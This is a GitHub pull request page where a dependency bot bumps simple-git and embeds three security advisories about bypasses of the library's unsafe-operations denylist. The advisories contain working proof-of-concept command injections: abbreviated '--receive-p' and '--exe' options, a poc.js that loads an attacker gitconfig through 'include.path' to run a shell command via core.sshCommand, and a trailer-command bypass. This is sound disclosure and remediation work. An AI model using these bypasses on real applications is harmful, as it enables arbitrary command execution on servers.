Skip to content

chore(deps): update overrides simple-git to >=3.36.0 [security] - #2075

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-simple-git-vulnerability
Open

renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-simple-git-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Nov 1, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
simple-git (source) >=3.32.3 → >=3.36.0 age confidence

simple-git: unsafe-operations plugin bypass via git long-option abbreviation (--receive-p/--exe) -> command execution (residual of CVE-2026-28291)

CVE-2026-102827 / GHSA-858h-whjf-mvg5

More information

Details

simple-git's blockUnsafeOperationsPlugin blocks dangerous git options (--upload-pack/--receive-pack/--exec/...) unless the consumer opts in via unsafe:{allowUnsafePack:true}. Detection (@​simple-git/argv-parser detectVulnerableFlags) matches the parsed flag NAME against literal-spelling patterns: /--(upload|receive)-pack/ (requires the literal '-pack') and the string '--exec'. But git accepts unambiguous prefix abbreviations of long options, and expandToken (token-expander.ts) returns the LITERAL token as flag.name (it uses the spec only for needsNext, never to canonicalize). So git push --receive-p=<cmd> parses with flag.name='--receive-p', which /--(upload|receive)-pack/ does NOT match, yet git expands --receive-p -> --receive-pack and runs (on a local/file remote, locally). The clone side is robust (its '--u' substring rule catches every --upload* abbreviation); the push --receive-* and --exe* abbreviations have no equivalent rule and slip through.

Proof of concept (latest: simple-git 3.36.0, @​simple-git/argv-parser 1.1.1, default unsafe plugin ON):
Gate vulnerabilityCheck: 'push --receive-pack=touch...' -> BLOCKED; 'push --receive-pa=touch...' and 'push --receive-p=touch...' -> BYPASS (empty vulns); '--exec=' BLOCKED, '--exe=' BYPASS.
End-to-end via simpleGit().push():
CONTROL git.push(['../bare','HEAD:refs/heads/c','--receive-pack=touch /tmp/pwned_ctrl;']) -> throws GitPluginError 'Use of --upload-pack or --receive-pack is not permitted...'; no command runs.
BYPASS git.push(['../bare','HEAD:refs/heads/e2e','--receive-p=touch /tmp/pwned_e2e;']) -> NO GitPluginError; /tmp/pwned_e2e CREATED (git executed the injected command); only a later GitError surfaces.
Direct git confirms git push ../bare --receive-p='touch X;' HEAD:refs/heads/m and --exe='touch Y;' both execute on a local/path remote.

Impact: any app relying on simple-git's default unsafe-operations protection while passing attacker-influenced options/args into a git push (local/file remote, or attacker-influenced receive-pack target) can be made to execute arbitrary commands -- the exact protection CVE-2026-28291 provided, defeated by an abbreviated spelling. Same class/impact as GHSA-jcxm-m3jx-f287, on the push path.

Remediation: canonicalize git option abbreviations before matching (resolve to the canonical long name via the per-task flag spec in expandToken), or match on the option stem/prefix down to the shortest unambiguous form for push receive-pack/exec (mirroring the clone-side '--u' approach). Also audit --template and -c/config-write detection for the same abbreviation gap.

Credit: anir0y (independent security research).

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


simple-git allows command execution through unblocked Git configuration includes

CVE-2026-102826 / GHSA-g4wm-2vf7-vfgr

More information

Details

Summary

An OS command injection vulnerability in git.clone() allows any application that flows attacker-influenced data into customArgs to execute arbitrary code. simple-git 3.36.0 (current latest on npm) ships without any include.path entry in the blockUnsafeOperationsPlugin denylist. Passing -c include.path=<file> via customArgs loads any local file as a gitconfig. The loaded file can set core.sshCommand (or any otherwise-denied key), and the next remote operation in the same clone executes the attacker's command.

PR #​1167 (merged to main 2026-05-10, not yet released to npm) adds preventConfigBuilder('include.path', 'allowUnsafeInclude') to the denylist. The generated regex /\s*include.path/ closes the plain spelling but does not match the conditional form includeIf.<cond>.path. The variant therefore survives the upcoming release if the regex is not tightened in the same cycle.

This sits in the same denylist class as the prior incomplete-fix chain (CVE-2022-24433, CVE-2022-24066, CVE-2022-25912, CVE-2022-25860, CVE-2026-28291, CVE-2026-28292). include and includeIf are not referenced in any published advisory, in any commit prior to PR #​1167, or anywhere in the 3.36.0 source.

Details

Two sinks share the same root cause: the denylist is incomplete.

Sink A: published 3.36.0 has no include.path entry

packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts in the v3.36.0 tag contains no entry for include.path or includeIf.*.path. The argv parser recognises -c include.path=<file> and -c includeIf.<cond>.path=<file> as config writes, but detectVulnerableConfigWrites iterates a denylist that does not include either key. The plugin returns no vulnerability and the operation proceeds.

Sink B: pending PR #​1167 regex misses includeIf

PR #​1167 adds:

const preventUnsafeConfig = [
   // ...
   preventConfigBuilder('include.path', 'allowUnsafeInclude'),
   // ...
];

preventConfigBuilder constructs a non-anchored regex from the string:

function preventConfigBuilder(config, category, message) {
   const regex = typeof config === 'string'
      ? new RegExp(`\\s*${config.toLowerCase()}`)
      : config;
   return function preventCommand(key) {
      if (regex.test(key)) { /* throw */ }
   };
}

For 'include.path', the generated regex is /\s*include.path/. The . between include and path is a regex wildcard. The engine matches include plus exactly one arbitrary character plus path. Conditional include keys have the form includeIf.<condition>.path (includeIf.gitdir:.path, includeIf.onbranch:main.path, includeIf.hasconfig:r.u:**.path, etc.). The substring between include and path is if.<condition>:, always longer than one character. The 11-character match window cannot align and the test returns false.

/\s*include.path/.test('include.path')                    // true
/\s*include.path/.test('includeif.gitdir:.path')          // false
/\s*include.path/.test('includeif.onbranch:main.path')    // false

The argv parser at packages/argv-parser/src/argv/analyse-config.ts correctly recognises both include.path=... and includeIf.gitdir:.path=... as config writes; both yield a ConfigWrite with the lowercased key. The defect is purely in the denylist regex (after PR #​1167) and in the entry being absent (before PR #​1167).

Exploitation chain
  1. Attacker writes a gitconfig to any path the simple-git process can read. Realistic write primitives: file upload (avatar, attachment, CI artifact, S3-mounted bucket), shared /tmp in multi-tenant runners, log poisoning that lands [core] headers in a log path, predictable artifact paths, container volume mounts the attacker controls.

    [core]
    sshCommand = "/bin/sh -c 'id > /tmp/pwned; touch /tmp/RCE'"
    
  2. Attacker triggers git.clone() with crafted customArgs. Either the URL or the customArgs flow from attacker-influenced input. This is the documented threat model of blockUnsafeOperationsPlugin.

  3. cloneTask assembles ['clone', '-c', '<payload>', pathspec(url), pathspec(dst)].

  4. blockUnsafeOperationsPlugin runs parseArgv and collectWriteFlags, yielding the write. detectVulnerableConfigWrites iterates the denylist. In 3.36.0 the denylist has no entry. After PR #​1167 the denylist has an entry but its regex does not match includeif.gitdir:.path. Either way, no vulnerability is yielded and the plugin permits the operation.

  5. suffixPathsPlugin moves pathspec items to the suffix. Final argv: git clone -c <payload> -- ssh://target.example/repo.git /tmp/dst.

  6. git clone has its own -c / --config option (-c <key>=<value>, --config <key>=<value> per git clone --help), so a -c immediately after the subcommand is honoured by clone itself. Git evaluates the include (the conditional form uses an empty gitdir: pattern that matches the current gitdir), reads /tmp/attacker.cfg, registers core.sshCommand.

  7. Git invokes ssh through the configured command. Attacker's shell payload runs in the simple-git process's context.

git clone is the unique git subcommand that honours -c after itself. git fetch -c k=v, git pull -c k=v, git push -c k=v all reject the placement (those subcommands treat -c as a global option that must precede them). Since simple-git always places the subcommand at argv[0], user-controlled -c in customArgs always lands after the subcommand. Clone is the entry point for both sinks.

Secondary chain: HOME and XDG_CONFIG_HOME not in parseEnv denylist

packages/argv-parser/src/env/parse-env.ts:5-25 lists env keys removed from the spawned-process environment when sourced from git.env(...). HOME, XDG_CONFIG_HOME, and similar config-resolution keys are absent. Calling git.env({HOME: '/tmp/fake-home'}) makes git read /tmp/fake-home/.gitconfig, which the attacker controls. Same exploit primitive, parallel surface. Should be addressed in the same fix.

PoC

Reproduction from a clean install:

mkdir /tmp/sg-poc && cd /tmp/sg-poc
npm init -y
npm install simple-git@3.36.0
cat > poc.js <<'EOF'
const { simpleGit } = require('simple-git');
const fs = require('fs');

fs.writeFileSync('/tmp/sg-attacker.cfg',
   `[core]\nsshCommand = "/bin/sh -c 'id > /tmp/sg-id; touch /tmp/sg-pwned'"\n`);

const git = simpleGit({ baseDir: '/tmp' });

(async () => {
   // Sink A: plain include.path works on published 3.36.0 (no denylist entry).
   // Swap to 'includeIf.gitdir:.path=...' to demonstrate Sink B against PR #&#8203;1167.
   const payload = 'include.path=/tmp/sg-attacker.cfg';

   try {
      await git.clone(
         'ssh://nonexistent.example.com/repo.git',
         '/tmp/sg-rce-dst',
         ['-c', payload]
      );
   } catch (_) { /* clone fails after sshCommand has already run */ }

   await new Promise(r => setTimeout(r, 500));
   console.log(fs.readFileSync('/tmp/sg-id', 'utf8'));
})();
EOF
node poc.js

Output on simple-git 3.36.0:

uid=0(root) gid=0(root) groups=0(root)

Swapping the payload to 'includeIf.gitdir:.path=/tmp/sg-attacker.cfg' reproduces the same RCE on 3.36.0 and is the variant that will survive the PR #​1167 release.

Impact

Pre-authentication remote code execution in any server that flows attacker-influenced data into customArgs of clone() or mirror(). simple-git is approximately 9.4M weekly downloads on npm. Affected consumer patterns:

  • CI/CD systems and custom GitHub Actions / Buildkite plugins / GitLab cache helpers
  • PaaS and hosting platforms that accept customer-tunable git options
  • Code analyzers and security scanners that clone user-supplied repos
  • Bot frameworks (Probot, GitOps controllers) that wrap simple-git
  • AI agent frameworks that auto-clone repositories for analysis
  • VS Code extensions, Electron tools, and dev tooling that pass options through

The chain needs one byte of attacker-writable, process-readable storage in addition to customArgs influence. In consumers where the file-write primitive is co-located with the clone trigger (single-request file upload + clone, multi-tenant CI runners with shared /tmp, agent frameworks that write per-task scratch files), this is effectively unauthenticated pre-auth RCE with AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critical. The form value uses the conservative AC:H = 8.1 baseline that accounts for the separate-request case.

Distinction from prior advisories and pending fix

Reviewed the published GHSA list at steveukx/git-js/security/advisories. Two advisories are published:

Neither mentions include, includeIf, or conditional includes. The terms do not appear anywhere in source files, tests, or commits in the repository at any tagged release. PR #​1167 (merged to main 2026-05-10) is the first commit anywhere in the repository to reference include.path. It addresses the plain form but its regex misses the conditional includeIf.<cond>.path spelling.

The published 3.36.0 vulnerability (Sink A) is unaddressed in any released version. The pending PR #​1167 (Sink B) addresses the plain key but leaves the conditional variant open. Both should land in one release.

Suggested fix

In packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts, add the plain include.path entry and ensure conditional forms are covered:

preventConfigBuilder('include.path', 'allowUnsafeInclude'),
preventConfigBuilder(/^\s*includeif[^.]*(\..+)*\.path/i, 'allowUnsafeInclude', 'include.path'),

Alternatively pre-process the key in parseAssignment to strip the if.<condition>: decoration before testing against include.path, since includeIf is semantically equivalent to include for security purposes.

Stronger, longer-term fix: invert the model. Reject any -c, --config, --config-env in customArgs unconditionally and require callers to use the typed config: option (already prefix-checked through the same plugin). Git's config namespace is open-ended; new dangerous keys land in every git release. A denylist will need new entries indefinitely.

Also extend parseEnv to drop HOME, XDG_CONFIG_HOME, and any env key that affects config-file resolution.

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


simple-git unsafe-operation guard does not block trailer command configuration

CVE-2026-102828 / GHSA-x6jw-m9v5-85vh

More information

Details

Affected product

The default blockUnsafeOperationsPlugin in simple-git when an application permits untrusted values to reach SimpleGitOptions.config or Git inline configuration arguments such as -c <key>=<value>.

Summary

trailer.<token>.cmd is not recognized as unsafe by the default guard. Therefore, a configured inline value reaches Git without a GitPluginError.

Git documents trailer.<token>.cmd as a shell command invoked by git interpret-trailers. An application that relies on the default plugin to reject unsafe configuration can therefore execute a command supplied through an untrusted trailer-command configuration value.

Technical details

simple-git/src/lib/git-factory.ts installs commandConfigPrefixingPlugin before blockUnsafeOperationsPlugin. The prefixing plugin in simple-git/src/lib/plugins/command-config-prefixing-plugin.ts turns every SimpleGitOptions.config entry into -c <key>=<value> before the unsafe-operation plugin evaluates the final argv.

In simple-git@3.36.0, blockUnsafeOperationsPlugin delegates to @simple-git/argv-parser. packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts compares parsed configuration writes against preventUnsafeConfig. That list has no matcher for trailer.<token>.cmd, so the invocation is allowed.

Git v2.39.5's Documentation/git-interpret-trailers.txt states that trailer.<token>.cmd specifies a shell command called to generate or modify a trailer.

Preconditions

The application must use an affected simple-git version with the default unsafe-operation plugin active and must pass attacker-controlled data into instance configuration or Git command arguments that configure trailer.<token>.cmd.

The invoked Git binary must support the documented trailer-command behavior, and the application must execute git interpret-trailers with the attacker-controlled configuration in scope. The command runs with the operating-system identity and permissions of the Node.js process.

Verification

Use an isolated test environment and a harmless executable test helper that records only its invocation.

Control: Configure core.editor=<test-helper> through SimpleGitOptions.config and invoke a benign Git task. The default plugin should throw GitPluginError before spawning Git because core.editor is present in preventUnsafeConfig.

Bypass: Configure trailer.audit.cmd=<test-helper> through the same option and invoke Git with the equivalent argv shape:

git -c trailer.audit.cmd=<test-helper> interpret-trailers --trailer audit:<value> <input-file>

A vulnerable build does not raise GitPluginError; Git invokes the test helper while processing the trailer. Confirm the helper invocation, then remove test artifacts.

Impact

An attacker who controls the stated configuration input can cause Git to execute a shell command as the Node.js application process. The impact is bounded by that process's filesystem, network, and service permissions. Applications that do not expose untrusted configuration or command arguments to simple-git are outside this threat model.

Affected versions

Commit 6b3c631eadea81f80ed10f6dec7d19a9db4d7084 introduced the default unsafe-operation plugin, and simple-git@3.15.0 is the first release confirmed to contain it. Its implementation only rejected protocol.allow configuration, leaving trailer-command configuration unblocked.

The latest simple-git release, 3.36.0, still lacks a trailer-command matcher. The current main branch also lacks one. No released remediation was identified.

Remediation

Default-deny configuration keys that can trigger executable behavior, or add a dedicated unsafe category that rejects trailer.<token>.cmd before spawning Git unless the application explicitly opts in.

Evaluate trailer.<token>.command alongside .cmd, because Git documents it as related command behavior. Add parser and integration tests for leading -c, configured instance prefixes, and git config write forms, asserting that no Git child process is spawned without an explicit unsafe opt-in.

Evidence
  • simple-git@3.15.0 was released on 2022-11-12 and contains the initial unsafe-operation plugin.
  • simple-git@3.36.0 was released on 2026-04-12; its parser source does not match trailer.<token>.cmd.
  • main retains the missing matcher in packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts.
  • Git v2.39.5 documents the trailer command behavior in Documentation/git-interpret-trailers.txt.
  • PR #​1167 expanded other configuration checks but did not add a trailer-command matcher and is not release-backed as a remediation.
  • This review verified repository, release, and source artifacts through GitHub; it did not independently execute the runtime reproduction.

Severity

  • CVSS Score: 9.2 / 10 (Critical)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

steveukx/git-js (simple-git)

v3.36.0

Compare Source

Minor Changes
  • 89a2294: Extend known exploitable configuration keys and per-task environment variables.

    Note - ParsedVulnerabilities from argv-parser is removed in favour of a readonly array of Vulnerability to match usage in simple-git, rolled into the new vulnerabilityCheck for simpler access to the identified issues.

    Thanks to @​zebbern for identifying the need to block core.fsmonitor.
    Thanks to @​kodareef5 for identifying the need to block GIT_CONFIG_COUNT environment variables and --template / merge related config.

Patch Changes

v3.35.2

Compare Source

Patch Changes

v3.35.1

Compare Source

Patch Changes

v3.35.0

Compare Source

Minor Changes
Patch Changes

v3.34.0

Compare Source

Minor Changes
  • 2b68331: Revised dependency tree to add helper modules as dependencies in main simple-git
Patch Changes
  • 2e1f51c: Enhances scanning of arguments before passing on to the spawned child_process.

    Caters for -c flags prefixing the git task (used when setting global inline config) and suffixing with either -c, --config or --config-env. Detects git config operations that write to the configuration.

  • Updated dependencies [2e1f51c]

v3.33.0

Compare Source

Minor Changes
  • a263635: Use pathspec wrappers for remote and local paths when running either git.clone or git.mirror to
    avoid leaving them less open for unexpected outcomes when passing unsanitised data into these tasks.
Patch Changes

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@codecov-commenter

Copy link
Copy Markdown

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 99.26%. Comparing base (b637524) to head (4932ab6).

Additional details and impacted files
@@           Coverage Diff           @@
##             main    #2075   +/-   ##
=======================================
  Coverage   99.26%   99.26%           
=======================================
  Files          83       83           
  Lines        3244     3244           
  Branches      562      562           
=======================================
  Hits         3220     3220           
  Misses         17       17           
  Partials        7        7           

☔ View full report in Codecov by Harness.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant